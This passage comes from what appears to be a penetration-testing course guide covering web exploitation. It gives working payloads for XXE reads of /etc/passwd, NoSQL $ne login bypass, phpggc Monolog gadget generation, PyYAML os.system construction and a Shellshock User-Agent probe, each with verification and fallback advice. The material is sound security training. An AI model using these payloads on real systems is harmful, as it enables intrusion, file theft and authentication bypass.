# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH
2.2.24.6.3 Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH
Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.
Sources: upstream 1.
2.2.24.7 Worked example — hypothetical
Observation: a preview renders controlled input. Test: compare a literal control and two delimiter families. Illustrative output: one expression computes while the others remain literal. Interpretation: narrow the engine before choosing a primitive.
2.2.24.8 Verify the result
Require repeatable computed output and corroborating engine clues; the value 49 alone does not identify the engine.
2.2.24.9 Failure and fallback
Literal output rejects that syntax in the tested sink; a syntax error can be a parser clue but is not exploitation proof.
2.2.24.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| An input appears in a command-like operation or causes shell-dependent behavior | Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof | §2.2.11 — Prove visible or blind operating-system command injection |
| A download/path parameter or URL segment influences a local filename | Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file | §2.2.5 — Read files through directory traversal |
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
2.2.25 Use an XML parser's external-entity behavior for bounded file read
Choose when: A working XML request reaches a server-side parser that accepts a controlled document or field · Result: A verified parser-side file read or a precisely bounded blind parser/network effect
Blocks: 4. Operational procedure | Quick sheet
2.2.25.1 Purpose and result
A verified parser-side file read or a precisely bounded blind parser/network effect.
2.2.25.2 Recognition clues
A working XML request reaches a server-side parser that accepts a controlled document or field.
2.2.25.2.1 Find the clue from your starting access
Where to investigate: Start from a valid XML request and place an external-entity reference in a field whose parsed value is returned.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: External entity or XInclude processing is enabled and the parser identity can read the selected file
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Require recognizable file content or a uniquely correlated parser-side event, not an echoed request.
Failure/next check: DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline.
curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Response field: recognizable local system-file bytes
Recognize this detail: The server parser resolved the entity and read the selected file under its process identity.
Still missing before method selection: Repeat with a benign control and preserve the exact parser/content-type context.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Recognizable content or a uniquely correlated parser event appears: use the bounded file/network primitive. |
| Ruled out in this context | The parser rejects DTDs/entities: reject that entity path in this configuration. |
| Inconclusive | Echoed XML or a generic parser error does not establish entity resolution. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.25.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: External entity or XInclude processing is enabled and the parser identity can read the selected file.
2.2.25.4 Discover and verify prerequisites
curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH
2.2.25.5 Why it works
The application must parse and resolve the entity; reflected XML, client-side parsing or DTD text alone does not establish file access.
2.2.25.6 Execute and choose variants
Use a working XML request and put the entity reference in a field whose parsed value is returned. Retain the original wrapper, cookies and endpoint. Example body for an XML-compatible endpoint:
<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
--data-binary @xxe.xml http://TARGET:PORT/PATH
Read: recognizable file content in the parsed field proves read access; echoing the submitted XML does not. Choose a platform-appropriate file; Windows can use file:///C:/Windows/win.ini. DTD rejection or unresolved entities → check the parser's actual configuration, not more traversal depth.
If the application builds XML around your input and processes XInclude, a separate condition can exist without control over the document's DOCTYPE:
<value xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</value>
A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.
Sources: upstream 1.
2.2.25.7 Worked example — hypothetical
Observation: an endpoint accepts XML and returns a parsed field. Test: place a local-file entity in that field. Illustrative output: recognizable system-file bytes appear. Interpretation: file read is proven under the parser identity.
2.2.25.8 Verify the result
Require recognizable file content or a uniquely correlated parser-side event, not an echoed request.
2.2.25.9 Failure and fallback
DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline.
2.2.25.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| JavaScript endpoints, backup names, exposed configuration or Git metadata | Readable application artifact or a complete recoverable repository; preserve the public-source scope | §2.1.8 — Inspect source, backups, configuration and repository artifacts |
| URL import, preview, webhook or fetch behavior | The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource | §2.2.23 — Use server-side requests to inspect reachable internal behavior |
2.2.26 Test structured NoSQL operator injection with identity controls
Choose when: A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query · Result: A verified query or authentication transition with a known resulting identity
Blocks: 4. Operational procedure | Quick sheet
2.2.26.1 Purpose and result
A verified query or authentication transition with a known resulting identity.
2.2.26.2 Recognition clues
A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query.
2.2.26.2.1 Find the clue from your starting access
Where to investigate: Capture the real JSON or nested-form login/search request and compare a wrong scalar, operator object and operator-as-string.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Verify a protected action and resulting identity; a 200 status or cookie alone is not authentication.
Failure/next check: Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account.
curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Protected profile after request: USER
Recognize this detail: A structured operator changed the query and produced an authenticated state for the named identity.
Still missing before method selection: Verify protected access and identity; ensure the framework parsed an object rather than a string.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The operator object alone yields the intended verified transition: select the NoSQL method. |
| Ruled out in this context | Schema/type validation rejects objects or the password is compared outside the query: reject that route. |
| Inconclusive | A 200 response, cookie or changed error without protected access remains inconclusive. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.26.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type.
2.2.26.4 Discover and verify prerequisites
curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
2.2.26.5 Why it works
An operator object and a string containing operator text are different inputs. A changed response must be tied to query behavior and authenticated state.
2.2.26.6 Execute and choose variants
Use when a login/search accepts structured JSON or nested form parameters and evidence suggests a MongoDB-style query. Start with a normal failed request, then change one value's type.
2.2.26.6.1 A known username with an operator-valued password
# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
--data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
2.2.26.6.2 Distinct context: a form parser that expands bracketed properties
# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
--data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN
Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.
Sources: upstream 1.
2.2.26.7 Worked example — hypothetical
Observation: a JSON login accepts nested objects. Test: compare wrong password, operator object and operator-as-string. Illustrative output: only the object yields access as the named user. Interpretation: confirm that identity and map its rights.
2.2.26.8 Verify the result
Verify a protected action and resulting identity; a 200 status or cookie alone is not authentication.
2.2.26.9 Failure and fallback
Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account.
2.2.26.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| Forms, downloads, exports, account functions or role-specific interfaces | A normal request baseline and the relevant account/role; authorized accounts for role comparisons | §2.1.7 — Map functions, roles and normal requests manually |
| Administrative actions/routes or request methods visible from a lower role | The lower-role identity can invoke a protected server-side action without its required authorization | §2.2.19 — Cross role, function or session authorization boundaries |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
2.2.27 Match PHP deserialization gadgets to installed dependencies
Choose when: Source or request evidence shows controlled serialized PHP data reaches unsafe unserialize · Result: A verified gadget effect in the application process context
Blocks: 4. Operational procedure | Quick sheet
2.2.27.1 Purpose and result
A verified gadget effect in the application process context.
2.2.27.2 Recognition clues
Source or request evidence shows controlled serialized PHP data reaches unsafe unserialize.
2.2.27.2.1 Find the clue from your starting access
Where to investigate: Use source, composer metadata and request format to establish unsafe PHP deserialization and loaded gadget classes before generating bytes.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Require the exact dependency/version, sink and attributable effect; successful payload generation proves none of these.
Failure/next check: Missing classes, allowed-class restrictions, length corruption or version mismatch defeats the chain; choose only an evidence-matched family.
phpggc -l
phpggc -i Monolog/RCE1
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Source sink: unserialize(INPUT)
Installed dependency: compatible Monolog release
Recognize this detail: The sink and loaded class family supply a gadget-chain candidate; generation alone is not execution.
Still missing before method selection: Match exact version/vector, preserve serialized lengths/encoding and verify one benign effect.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A compatible chain causes the intended effect: select that dependency-specific route. |
| Ruled out in this context | Required classes are absent or allowed-class restrictions apply: reject that chain. |
| Inconclusive | Unknown decoding or transport corruption must be resolved before interpreting a failed payload. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.27.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes.
2.2.27.4 Discover and verify prerequisites
phpggc -l
phpggc -i Monolog/RCE1
phpggc -b Monolog/RCE1 system id > payload.b64
2.2.27.5 Why it works
A generated gadget chain is dependency-specific. Base64 changes transport only and must match the application's decode path.
2.2.27.6 Execute and choose variants
Use when a controlled serialized value reaches unsafe unserialize() and the required classes are loaded. Identify dependencies/builds from source or composer.lock first.
2.2.27.6.1 Inspect available families and the exact chain's version/vector requirements
# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1
2.2.27.6.2 Example function-call gadget, only when that chain matches the application
# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64
Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.
Sources: upstream 1.
2.2.27.7 Worked example — hypothetical
Observation: composer.lock and source show a compatible loaded chain and unsafe unserialize. Test: generate a minimal benign effect in the real transport. Illustrative output: the controlled effect occurs once. Interpretation: establish process identity before any session payload.
2.2.27.8 Verify the result
Require the exact dependency/version, sink and attributable effect; successful payload generation proves none of these.
2.2.27.9 Failure and fallback
Missing classes, allowed-class restrictions, length corruption or version mismatch defeats the chain; choose only an evidence-matched family.
2.2.27.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
| A product/version clue, advisory or component-specific public PoC | Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect | §4.1.5 — Match a public exploit to the actual component and configuration |
| A simple command works while a longer or nested payload fails | Known outer request/template/database parser and inner shell; correct character encoding and transport length | §7.1.8 — Repair quoting, encoding and command-length boundaries |
2.2.28 Validate unsafe YAML object construction
Choose when: Source or errors identify server-side Python YAML loading of controlled content · Result: A verified command or object-construction effect in the loader process
Blocks: 4. Operational procedure | Quick sheet
2.2.28.1 Purpose and result
A verified command or object-construction effect in the loader process.
2.2.28.2 Recognition clues
Source or errors identify server-side Python YAML loading of controlled content.
2.2.28.2.1 Find the clue from your starting access
Where to investigate: Inspect source/errors for the actual Python YAML loader before placing a constructor in the application's required schema.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: The application uses an unsafe PyYAML loader that permits the selected Python object constructor
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Require source/configuration evidence for the loader and an attributable effect; a .yml extension is insufficient.
Failure/next check: ConstructorError often indicates safe or restricted loading. Preserve that negative evidence instead of trying unrelated tags blindly.
!!python/object/apply:os.system ["id"]
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Loader evidence: unsafe loader
Effect: command-specific identity output
Recognize this detail: The application constructed the selected Python object under an unsafe loader.
Still missing before method selection: Confirm loader/version and an attributable effect in the real import/request path.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Unsafe construction is confirmed: use only the required bounded effect. |
| Ruled out in this context | ConstructorError under safe/restricted loading rejects this constructor route. |
| Inconclusive | A .yml extension without loader evidence leaves the condition unknown. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.28.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The application uses an unsafe PyYAML loader that permits the selected Python object constructor.
2.2.28.4 Discover and verify prerequisites
!!python/object/apply:os.system ["id"]
2.2.28.5 Why it works
YAML syntax is not itself dangerous; the selected loader and allowed constructors define the capability.
2.2.28.6 Execute and choose variants
Use when source or errors identify Python YAML processing with an unsafe loader and you control the loaded YAML. An ordinary JSON field or yaml.safe_load() does not supply this condition.
!!python/object/apply:os.system ["id"]
Put the probe in the actual YAML input/file, preserving its required surrounding structure. Read: attributable command output/effect supports unsafe construction. ConstructorError for the Python tag commonly indicates a loader that does not permit that constructor. Confirm the installed PyYAML version and loader (UnsafeLoader/unsafe load), rather than assuming that any use of YAML permits Python object execution.
Sources: upstream 1.
2.2.28.7 Worked example — hypothetical
Observation: an import feature loads YAML and source names an unsafe loader. Test: submit the minimal constructor in the required surrounding schema. Illustrative output: a command-specific effect appears. Interpretation: verify the process context.
2.2.28.8 Verify the result
Require source/configuration evidence for the loader and an attributable effect; a .yml extension is insufficient.
2.2.28.9 Failure and fallback
ConstructorError often indicates safe or restricted loading. Preserve that negative evidence instead of trying unrelated tags blindly.
2.2.28.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
| A simple command works while a longer or nested payload fails | Known outer request/template/database parser and inner shell; correct character encoding and transport length | §7.1.8 — Repair quoting, encoding and command-length boundaries |
| A product/version clue, advisory or component-specific public PoC | Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect | §4.1.5 — Match a public exploit to the actual component and configuration |
2.2.29 Test Shellshock only through a confirmed CGI-to-Bash chain
Choose when: A real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family · Result: A verified command effect under the CGI process identity
Blocks: 4. Operational procedure | Quick sheet
2.2.29.1 Purpose and result
A verified command effect under the CGI process identity.
2.2.29.2 Recognition clues
A real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family.
2.2.29.2.1 Find the clue from your starting access
Where to investigate: Confirm a CGI endpoint, Bash invocation and vulnerable component evidence before sending one bounded header probe.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: HTTP-derived environment data reaches an affected Bash process and the selected command is available
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Require command-derived output distinct from reflected header text and record the CGI identity.
Failure/next check: No effect can mean patched Bash, non-Bash CGI, header sanitization or wrong endpoint; re-check the component before another payload.
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
CGI response: uid=SERVICE_UID(...) gid=...
Recognize this detail: Command-derived identity output supports Shellshock execution under the CGI process.
Still missing before method selection: Separate command output from reflected header text and record the exact script/Bash context.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The bounded command effect repeats only with the crafted environment function: select the route. |
| Ruled out in this context | Patched Bash or a non-Bash CGI path produces no command effect: reject that chain. |
| Inconclusive | A generic 500 or reflected payload leaves component behavior unresolved. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.29.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: HTTP-derived environment data reaches an affected Bash process and the selected command is available.
2.2.29.4 Discover and verify prerequisites
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT
2.2.29.5 Why it works
Shellshock abuses Bash environment-function parsing; it is not a generic header payload for arbitrary PHP, Java or static routes.
2.2.29.6 Execute and choose variants
Use when a confirmed CGI endpoint passes HTTP-derived environment variables into an affected Bash process. An arbitrary PHP/Java route or a Bash version string alone does not establish this chain.
# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
http://TARGET:PORT/cgi-bin/SCRIPT
Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.
Sources: upstream 1.
2.2.29.7 Worked example — hypothetical
Observation: a CGI script and vulnerable Bash dependency are confirmed. Test: send one bounded identity command in a header. Illustrative output: the CGI response contains the target UID. Interpretation: command execution is proven.
2.2.29.8 Verify the result
Require command-derived output distinct from reflected header text and record the CGI identity.
2.2.29.9 Failure and fallback
No effect can mean patched Bash, non-Bash CGI, header sanitization or wrong endpoint; re-check the component before another payload.
2.2.29.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
| Linux command execution exists but an interactive channel is needed | A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener | §4.2.6 — Connect a Linux reverse shell through an available interpreter |
| A product/version clue, advisory or component-specific public PoC | Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect | §4.1.5 — Match a public exploit to the actual component and configuration |
2.2.30 Sources and shared concepts
Supplied PEN-200 Ch 8–10 pp231–300. Hexdump web modules; OWASP WSTG.
Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.